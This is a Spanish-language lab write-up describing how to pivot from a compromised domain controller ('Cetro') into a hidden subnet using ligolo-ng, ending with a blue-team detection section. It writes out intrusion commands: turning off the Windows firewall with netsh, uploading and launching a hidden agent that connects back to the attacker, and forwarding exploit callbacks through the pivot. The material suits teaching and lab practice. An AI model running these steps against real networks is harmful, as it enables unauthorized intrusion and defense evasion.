Cetro, Parte 2: pivoting y túneles de red con ligolo-ng

En la Parte 1 tomaste el Domain Controller de Cetro con Zerologon y una sesión de evil-winrm como Administrador. Fin del juego, ¿no?

No. Cetro tiene una segunda cara.

Desde ese DC hay un segmento de red completo —el Stage 2— que tu máquina atacante ni siquiera puede alcanzar. Los objetivos que valen puntos viven ahí dentro, detrás de una frontera de red. Y para cruzarla no te sirve otro exploit: te sirve entender cómo viajan los paquetes.

Esta es la parte que separa a quien "resuelve máquinas" de quien entiende redes.

El problema: una red que no puedes ver

Las redes corporativas serias no son planas. Se segmentan: se parten en subredes aisladas para que comprometer una zona no te regale el resto. Un servidor web expuesto vive en una subred; las bases de datos y los sistemas internos viven en otra, a la que solo se llega desde dentro.

Cetro está en el borde. Tiene un pie en el segmento que tú alcanzas (Stage 1) y otro pie en el segmento oculto (Stage 2, pongamos 10.10.20.0/24). Tu Kali, en cambio, solo ve el primero.

Si intentas escanear la red interna directamente, no pasa nada — literalmente. Tus paquetes no tienen ruta hasta ahí:

nmap 10.10.20.0/24
# Host seems down. (no hay ruta desde tu Kali)

No es un firewall bloqueándote. Es peor y más simple: para tu Kali, esa red no existe. No hay ninguna interfaz por la que enviar esos paquetes.

Pivoting 101: convertir al DC en tu puente

La solución se llama pivoting: usar una máquina que ya controlas —y que sí toca ambas redes— como puente hacia lo que no alcanzas. Cetro es el candidato perfecto: es tu DC comprometido y habla con las dos subredes.

Hay tres formas clásicas de tender ese puente, de menos a más potente:

• Port forwarding — rediriges un único puerto. Sirve para un servicio concreto, nada más.
• Proxy SOCKS — tuneleas conexiones TCP a través de un proxy. Flexible, pero tienes que "socksificar" cada herramienta (proxychains) y no maneja bien ICMP ni UDP.
• Túnel a nivel de red (L3) — levantas una interfaz virtual y enrutas la subred remota a través del pivot. Todas tus herramientas funcionan nativas, sin envoltorios. Transparente.

Para Cetro vamos con la tercera, la más limpia, con la herramienta que se ha vuelto estándar: ligolo-ng.

ligolo-ng: un túnel a nivel de red

ligolo-ng tiene dos piezas. El proxy corre en tu Kali y crea una interfaz de red virtual (una TUN). El agent corre en la máquina comprometida —Cetro— y se conecta de vuelta a tu proxy. Entre ambos abren un túnel por el que viaja tráfico IP en crudo.

Lo elegante: cuando enrutas la subred del Stage 2 hacia esa interfaz TUN, tu sistema operativo cree que la red interna está a un salto de distancia. Un nmap, un curl, un exploit cualquiera viajan transparentes a través de Cetro sin que tengas que configurar nada en la herramienta.

En tu Kali, creas la interfaz TUN (una sola vez) y arrancas el proxy:

sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601

Subir el agente sin RDP

Ahora necesitas ejecutar el agent dentro de Cetro. Y aquí está la diferencia práctica con otras tasks: Cetro es un Domain Controller sin escritorio cómodo — no vas a usar RDP ni certutil. Ya tienes algo mejor: tu sesión de evil-winrm de la Parte 1.

evil-winrm trae un comando upload incorporado. Desde esa misma sesión, apagas el firewall de Windows, subes el binario del agente y lo lanzas en segundo plano, oculto:

*Evil-WinRM* PS> netsh advfirewall set allprofiles state off
*Evil-WinRM* PS> upload /ruta/local/agent.exe C:\Users\Public\agent.exe
*Evil-WinRM* PS> Start-Process C:\Users\Public\agent.exe -ArgumentList '-connect','10.10.3.10:11601','-ignore-cert' -WindowStyle Hidden

Fíjate en el -connect 10.10.3.10:11601: el agente se conecta de vuelta hacia tu Kali. En un entorno segmentado casi siempre es la víctima la que llama al atacante, no al revés — retén esa idea, es la clave del siguiente apartado.

De vuelta en el proxy, seleccionas la sesión entrante, levantas el túnel sobre la interfaz ligolo y creas los listeners que reenviarán los callbacks al loopback de tu Kali:

ligolo-ng » session
[Agent : Administrador@DC01] » start --tun ligolo
[Agent : Administrador@DC01] » listener_add --addr 0.0.0.0:8081 --to 127.0.0.1:8081 --tcp
[Agent : Administrador@DC01] » listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp

Y añades la ruta hacia el Stage 2 en tu Kali:

sudo ip route add 10.10.20.0/24 dev ligolo

A partir de aquí, cualquier paquete que envíes a 10.10.20.x sale por la interfaz ligolo, cruza el túnel, y Cetro lo reinyecta en la red interna como si viniera de él. Ya ves la red oculta.

El fantasma del routing asimétrico

Aquí es donde media clase se estrella, y donde de verdad aprendes cómo funcionan las redes.

Enumerar objetivos internos con nmap o curl funciona a la primera. Pero el momento en que lanzas un exploit con callback —un Log4Shell, un deserializador, cualquier cosa que obligue a la víctima a conectarse de vuelta a ti— todo se rompe. La shell nunca llega. Y no hay ningún error obvio.

La causa es el routing asimétrico, y entenderla es un salto de nivel.

Piensa en el camino de ida y el de vuelta por separado. Cuando un exploit tiene callback, le dices a la víctima interna a qué IP debe conectarse para devolverte la shell. El instinto es poner la IP de tu Kali. Error.

• Ida: la víctima interna manda el SYN hacia tu Kali. Como tu Kali enrutó 10.10.20.0/24 por dev ligolo, la respuesta (SYN-ACK) sale por el túnel.
• Vuelta: pero la víctima esperaba esa respuesta por su ruta de red normal, no por el túnel de ligolo. Recibe un paquete que no encaja en ninguna conexión que ella crea tener y responde con un RST. Conexión abortada.

El tráfico entró por un camino y salió por otro. Eso es routing asimétrico, y las pilas TCP modernas lo rechazan.

La solución es contraintuitiva pero elegante:

En los exploits con callback, apunta a la IP del pivot (Cetro), nunca a tu Kali directamente.

python3 poc.py --userip 10.10.10.100 --webport 8081 --lport 9001

Al apuntar a 10.10.10.100 (Cetro), la víctima se conecta a un vecino de su propia red — un camino simétrico y natural para ella. El agente de ligolo escucha ahí (por los listener_add que creaste), captura ese callback y lo reenvía por el túnel hasta el 127.0.0.1 de tu Kali, donde espera tu listener. La shell llega. Sin routing asimétrico, sin RST.

Un apunte operativo que ahorra horas: si reutilizas la interfaz ligolo tras un stop o un agent_disconnect de un agente anterior, la ruta al Stage 2 se pierde porque la TUN se cerró al detener el túnel. Vuelve a añadirla con sudo ip route add 10.10.20.0/24 dev ligolo después de cada nuevo start --tun ligolo.

El otro lado: detectar el pivote

Un pivote a través de un Domain Controller es tan potente como ruidoso — si el defensor mira los sitios correctos. Piensa como el blue team:

• Un DC no debería iniciar conexiones salientes raras. Un Domain Controller conectándose por un puerto alto (11601) hacia una IP desconocida es una anomalía enorme. El egress filtering —controlar qué puede salir, no solo qué puede entrar— habría cortado el agente en seco.
• Puertos en escucha nuevos. Los listener_add abren puertos que ese DC nunca tuvo. Un inventario de puertos o un EDR decente lo nota.
• Un binario desconocido ejecutándose desde `C:\Users\Public`. agent.exe no forma parte de ningún Windows. El application whitelisting y el EDR existen precisamente para esto.
• El firewall apagado. Ese netsh advfirewall set allprofiles state off genera un evento que un SOC debería alertar de inmediato.

La lección defensiva es doble: segmentar frena al atacante en el borde, pero solo si además monitorizas el tráfico entre segmentos y tratas cualquier conexión saliente de un DC como culpable hasta que se demuestre lo contrario.

De máquina a mentalidad

Cetro te enseña dos mundos en una sola task. En la Parte 1, cómo un fallo criptográfico entrega un dominio entero. En esta, cómo se cruza una frontera de red que "no existe" para tu máquina — y por qué los paquetes, no las herramientas, mandan.

Cuando entiendes que un exploit con callback falla por dónde vuelve el paquete y no por el exploit en sí, dejaste de resolver retos. Empezaste a pensar como un operador.

Y eso es exactamente lo que construimos, task a task, en el CPPJ.